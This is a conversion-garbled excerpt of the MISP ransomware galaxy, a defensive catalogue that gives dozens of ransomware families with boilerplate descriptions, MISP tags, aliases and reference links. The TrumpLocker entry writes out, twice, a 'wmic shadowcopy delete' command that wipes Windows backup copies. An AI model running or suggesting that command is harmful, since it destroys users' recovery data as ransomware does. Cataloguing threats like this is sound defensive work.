Ransomware galaxy based on [https://docs.google.com/spreadsheets/d/1TWS238xacAtolKhn5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml and http://pastebin.com/raw/GHgpWjar](https://docs.google.com/spreadsheets/d/1TWS238xacAtolKhn5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml and http://pastebin.com/raw/GHgpWjar). The JSON format can be freely reused in your application or automatically enabled in MISP.

Ransomware is a cluster galaxy available in JSON format at [this location](https://docs.google.com/spreadsheets/d/1TWS238xacAtolKhn5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml) The JSON format can be freely reused in your application or automatically enabled in [MISP](https://misp-project.org/).

### authors

- [https://docs.google.com/spreadsheets/d/1TWS238xacAtolKhn5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml](https://docs.google.com/spreadsheets/d/1TWS238xacAtolKhn5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml)
- MISP Project
- [https://id-ransomware.blogspot.com/2016/07/ransomware-list.html](https://id-ransomware.blogspot.com/2016/07/ransomware-list.html)

### Nhtnwcuf Ransomware (Fake)

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.
CryptoJacky Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="CryptoJacky Ransomware"`

Kaenlupuf Ransomware

About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="Kaenlupuf Ransomware"`

EnjeyCrypter Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="EnjeyCrypter Ransomware"`
Dangerous Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.

The tag is: `misp-galaxy:ransomware="Dangerous Ransomware"`

Vortex Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.

The tag is: `misp-galaxy:ransomware="Vortex Ransomware"`

Vortex Ransomware is also known as:

- Ŧłėtę́ rręczę́řę́

GC47 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.

The tag is: `misp-galaxy:ransomware="GC47 Ransomware"`
RozaLocker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware=*"RozaLocker Ransomware"

RozaLocker Ransomware is also known as:

• Roza

CryptoMeister Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware=*"CryptoMeister Ransomware"

GG Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Poses as Hewlett-Packard 2016

The tag is: *misp-galaxy:ransomware=*"GG Ransomware"
**Project34 Ransomware**

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="Project34 Ransomware"`

**PetrrWrap Ransomware**

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="PetrrWrap Ransomware"`

**Karmen Ransomware**

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. RaaS, baed on HiddenTear

The tag is: `misp-galaxy:ransomware="Karmen Ransomware"`
Revenge Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. CryptoMix / CryptFile2 Variant

The tag is: misp-galaxy:ransomware="Revenge Ransomware"

Turkish FileEncryptor Ransomware

his is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="Turkish FileEncryptor Ransomware"

Turkish FileEncryptor Ransomware is also known as:

• Fake CTB-Locker

Kirk Ransomware & Spock Decryptor

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam,
fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc. Payments in Monero

The tag is: \textit{misp-galaxy:ransomware}="Kirk Ransomware & Spock Decryptor"

Kirk Ransomware & Spock Decryptor is also known as:

- Kirk & Spock Decryptor

\textbf{Table 7312. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/03/kirkspock-ransomware.html">https://id-ransomware.blogspot.co.il/2017/03/kirkspock-ransomware.html</a></td>
</tr>
<tr>
<td><a href="http://www.securityweek.com/star-trek-themed-kirk-ransomware-emerges">http://www.securityweek.com/star-trek-themed-kirk-ransomware-emerges</a></td>
</tr>
<tr>
<td><a href="https://www.grahamcluley.com/kirk-ransomware-sports-star-trek-themed-decryptor-little-known-crypto-currency/">https://www.grahamcluley.com/kirk-ransomware-sports-star-trek-themed-decryptor-little-known-crypto-currency/</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/en/file/39a2201a88f10d81b220c973737f0beecedab2e73426ab9923880fb0fb990c5cc/analysis/">https://www.virustotal.com/en/file/39a2201a88f10d81b220c973737f0beecedab2e73426ab9923880fb0fb990c5cc/analysis/</a></td>
</tr>
</tbody>
</table>

\textbf{ZinoCrypt Ransomware}

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: \textit{misp-galaxy:ransomware}="ZinoCrypt Ransomware"

\textbf{Table 7313. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/03/zinocrypt-ransomware.html">https://id-ransomware.blogspot.co.il/2017/03/zinocrypt-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/demonslay335?lang=en">https://twitter.com/demonslay335?lang=en</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/842781575410597894">https://twitter.com/malwrhunterteam/status/842781575410597894</a></td>
</tr>
</tbody>
</table>

\textbf{Crptxxx Ransomware}

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam,
fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Uses @enigma0x3’s UAC bypass

The tag is: misp-galaxy:ransomware="Crptxxx Ransomware"

Table 7314. Table References

Links

- https://id-ransomware.blogspot.co.il/2017/03/crptxxx-ransomware.html
- https://twitter.com/malwrhunterteam/status/839467168760725508

MOTD Ransomware

About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="MOTD Ransomware"

Table 7315. Table References

Links

- https://id-ransomware.blogspot.co.il/2017/03/motd-ransomware.html

CryptoDevil Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="CryptoDevil Ransomware"

Table 7316. Table References

Links

- https://id-ransomware.blogspot.co.il/2017/03/cryptodevil-ransomware.html
- https://twitter.com/PolarToffee/status/843527738774507522
FabSysCrypto Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc. Based on HiddenTear

The tag is: *misp-galaxy:ransomware*="FabSysCrypto Ransomware"

<table>
<thead>
<tr>
<th>Table 7317. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/03/fabsyscrypto-ransomware.html">https://id-ransomware.blogspot.co.il/2017/03/fabsyscrypto-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/struppigel/status/837565766073475072">https://twitter.com/struppigel/status/837565766073475072</a></td>
</tr>
</tbody>
</table>

Lock2017 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.

The tag is: *misp-galaxy:ransomware*="Lock2017 Ransomware"

<table>
<thead>
<tr>
<th>Table 7318. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/03/lock2017-ransomware.html">https://id-ransomware.blogspot.co.il/2017/03/lock2017-ransomware.html</a></td>
</tr>
</tbody>
</table>

RedAnts Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.

The tag is: *misp-galaxy:ransomware*="RedAnts Ransomware"

<table>
<thead>
<tr>
<th>Table 7319. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/03/redants-ransomware.html">https://id-ransomware.blogspot.co.il/2017/03/redants-ransomware.html</a></td>
</tr>
</tbody>
</table>

ConsoleApplication1 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office,
Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="ConsoleApplication1 Ransomware"`

Table 7320. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/03/consoleapplication1-ransomware.html">https://id-ransomware.blogspot.co.il/2017/03/consoleapplication1-ransomware.html</a></td>
</tr>
</tbody>
</table>

**KRider Ransomware**

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="KRider Ransomware"`

Table 7321. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/03/krider-ransomware.html">https://id-ransomware.blogspot.co.il/2017/03/krider-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/836995570384453632">https://twitter.com/malwrhunterteam/status/836995570384453632</a></td>
</tr>
</tbody>
</table>

**CYR-Locker Ransomware (FAKE)**

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The following note is what you get if you put in the wrong key code: [failed-key.jpg](https://3.bp.blogspot.com/-qsS0x-tHx00/WLM3kkKWKAI/AAAAAAAAEDg/Zhy3eYf-ek8fY5uM0yHs7E0fEf2AXG-gCLcB/s1600/failed-key.jpg)

The tag is: `misp-galaxy:ransomware="CYR-Locker Ransomware (FAKE)"`

Table 7322. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/search?updated-min=2017-01-01T00:00:00-08:00&amp;updated-max=2018-01-01T00:00:00-08:00&amp;max-results=50">https://id-ransomware.blogspot.co.il/search?updated-min=2017-01-01T00:00:00-08:00&amp;updated-max=2018-01-01T00:00:00-08:00&amp;max-results=50</a></td>
</tr>
</tbody>
</table>

**DotRansomware**

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Unlock26 Ransomware

About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="Unlock26 Ransomware"`

PicklesRansomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc. Python Ransomware

PicklesRansomware is also known as:

- Pickles

Vanguard Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc. This ransomware poses at MSOffice to fool
users into opening the infected file. GO Ransomware

The tag is: `misp-galaxy:ransomware="Vanguard Ransomware"`

Table 7326. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/02/vanguard-ransomware.html">https://id-ransomware.blogspot.co.il/2017/02/vanguard-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/JAMESWT_MHT/status/834783231476166657">https://twitter.com/JAMESWT_MHT/status/834783231476166657</a></td>
</tr>
</tbody>
</table>

**PyL33T Ransomware**

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="PyL33T Ransomware"`

Table 7327. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/02/pyl33t-ransomware.html">https://id-ransomware.blogspot.co.il/2017/02/pyl33t-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Jan0fficial/status/834706668466405377">https://twitter.com/Jan0fficial/status/834706668466405377</a></td>
</tr>
</tbody>
</table>

**TrumpLocker Ransomware**

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. This is the old VenusLocker in disguise. To delete shadow files use the following commend: 

```
C:\Windows\system32\wbem\wmic.exe shadowcopy delete&exit
```

To delete shadow files use the following commend: C:\Windows\system32\wbem\wmic.exe shadowcopy delete&exit https://2.bp.blogspot.com/-8qIiBHnE9yU/WK1mZn3LgwI/AAAAAAAAD-M/ZKL7_Iwr1agYlV03HXaUrwitcowp5_NQCLcB/s1600/lock.jpg

The tag is: `misp-galaxy:ransomware="TrumpLocker Ransomware"`

Table 7328. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/02/trumplocker.html">https://id-ransomware.blogspot.co.il/2017/02/trumplocker.html</a></td>
</tr>
</tbody>
</table>
**Damage Ransomware**

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Written in Delphi

The tag is: `misp-galaxy:ransomware="Damage Ransomware"`

**Table 7329. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/02/damage-ransomware.html">https://id-ransomware.blogspot.co.il/2017/02/damage-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://decrypter.emsisoft.com/damage">https://decrypter.emsisoft.com/damage</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/demonslay335/status/835664067843014656">https://twitter.com/demonslay335/status/835664067843014656</a></td>
</tr>
</tbody>
</table>

**XYZWare Ransomware**

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear

The tag is: `misp-galaxy:ransomware="XYZWare Ransomware"`

**Table 7330. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/02/xyzware-ransomware.html">https://id-ransomware.blogspot.co.il/2017/02/xyzware-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/833636006721122304">https://twitter.com/malwrhunterteam/status/833636006721122304</a></td>
</tr>
</tbody>
</table>

**YouAreFucked Ransomware**

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="YouAreFucked Ransomware"`

YouAreFucked Ransomware is also known as:

- FortuneCrypt

**Table 7331. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.enigmasoftware.com/youarefuckedransomware-removal/">https://www.enigmasoftware.com/youarefuckedransomware-removal/</a></td>
</tr>
</tbody>
</table>
CryptConsole 2.0 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="CryptConsole 2.0 Ransomware"

Table 7332. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/02/cryptconsole-2-ransomware.html">https://id-ransomware.blogspot.co.il/2017/02/cryptconsole-2-ransomware.html</a></td>
</tr>
</tbody>
</table>

BarRax Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear

The tag is: misp-galaxy:ransomware="BarRax Ransomware"

BarRax Ransomware is also known as:

- BarRaxCrypt Ransomware

Table 7333. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/02/barraxcrypt-ransomware.html">https://id-ransomware.blogspot.co.il/2017/02/barraxcrypt-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/demonslay335/status/835668540367777792">https://twitter.com/demonslay335/status/835668540367777792</a></td>
</tr>
</tbody>
</table>

CryptoLocker by NTK Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="CryptoLocker by NTK Ransomware"

Table 7334. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/02/cryptolocker-by-ntk-ransomware.html">https://id-ransomware.blogspot.co.il/2017/02/cryptolocker-by-ntk-ransomware.html</a></td>
</tr>
</tbody>
</table>
UserFilesLocker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="UserFilesLocker Ransomware"

UserFilesLocker Ransomware is also known as:

- CzechoSlovak Ransomware

Table 7335. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/02/userfileslocker-ransomware.html">https://id-ransomware.blogspot.co.il/2017/02/userfileslocker-ransomware.html</a></td>
</tr>
</tbody>
</table>

AvastVirusinfo Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. PAYING RANSOM IS USELESS, YOUR FILES WILL NOT BE FIXED. THE DAMAGE IS PERMENENT!!!!

The tag is: misp-galaxy:ransomware="AvastVirusinfo Ransomware"

Table 7336. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017_03_01_archive.html">https://id-ransomware.blogspot.co.il/2017_03_01_archive.html</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/03/avastvirusinfo-ransomware.html">https://id-ransomware.blogspot.co.il/2017/03/avastvirusinfo-ransomware.html</a></td>
</tr>
</tbody>
</table>

SuchSecurity Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="SuchSecurity Ransomware"

SuchSecurity Ransomware is also known as:

- Such Security

Table 7337. Table References
PleaseRead Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="PleaseRead Ransomware"`

PleaseRead Ransomware is also known as:

- VHDLocker Ransomware

Kasiski Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="Kasiski Ransomware"`

Fake Locky Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="Fake Locky Ransomware"`

Fake Locky Ransomware is also known as:

- Locky Impersonator Ransomware
CryptoShield 1.0 Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. CryptoShield 1.0 is a ransomware from the CryptoMix family.

The tag is: *misp-galaxy:ransomware*="CryptoShield 1.0 Ransomware"

Hermes Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Filemarker: "HERMES"

The tag is: *misp-galaxy:ransomware*="Hermes Ransomware"
**LoveLock Ransomware or Love2Lock Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.

The tag is: `misp-galaxy:ransomware="LoveLock Ransomware or Love2Lock Ransomware"`

LoveLock Ransomware or Love2Lock Ransomware is also known as:

- LoveLock
- Love2Lock

*Table 7343. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/02/lovelock-ransomware.html">https://id-ransomware.blogspot.co.il/2017/02/lovelock-ransomware.html</a></td>
</tr>
</tbody>
</table>

**Wcry Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.

The tag is: `misp-galaxy:ransomware="Wcry Ransomware"`

*Table 7344. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/02/wcry-ransomware.html">https://id-ransomware.blogspot.co.il/2017/02/wcry-ransomware.html</a></td>
</tr>
</tbody>
</table>

**DUMB Ransomware**

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.

The tag is: `misp-galaxy:ransomware="DUMB Ransomware"`

*Table 7345. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/02/dumb-ransomware.html">https://id-ransomware.blogspot.co.il/2017/02/dumb-ransomware.html</a></td>
</tr>
</tbody>
</table>
X-Files

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="X-Files"

Table 7346. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017_02_01_archive.html">https://id-ransomware.blogspot.co.il/2017_02_01_archive.html</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/02/x-files-ransomware.html">https://id-ransomware.blogspot.co.il/2017/02/x-files-ransomware.html</a></td>
</tr>
</tbody>
</table>

Polski Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The Ransom is 249$ and the hacker demands that the victim gets in contact through e-mail and a Polish messenger called Gadu-Gadu.

The tag is: misp-galaxy:ransomware="Polski Ransomware"

Table 7347. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/02/polski-ransomware.html">https://id-ransomware.blogspot.co.il/2017/02/polski-ransomware.html</a></td>
</tr>
</tbody>
</table>

YourRansom Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This hacker demands that the victim contacts him through email and decrypts the files for FREE.(moreinfo in the link below)

The tag is: misp-galaxy:ransomware="YourRansom Ransomware"

Table 7348. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/02/yourransom-ransomware.html">https://id-ransomware.blogspot.co.il/2017/02/yourransom-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/_ddoxer/status/827555507741274113">https://twitter.com/_ddoxer/status/827555507741274113</a></td>
</tr>
</tbody>
</table>
**Ranion Raas Ransomware**

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ranion Raas gives the opportunity to regular people to buy and distribute ransomware for a very cheap price. (More info in the link below). RaaS service

The tag is: `misp-galaxy:ransomware="Ranion Raas Ransomware"`

Table 7349. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.co.il/2017/02/ranion-raas.html">https://id-ransomware.blogspot.co.il/2017/02/ranion-raas.html</a></td>
</tr>
</tbody>
</table>

**Potato Ransomware**

Wants a ransom to get the victim's files back. Originated in English. Spread worldwide.

The tag is: `misp-galaxy:ransomware="Potato Ransomware"`

Table 7350. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
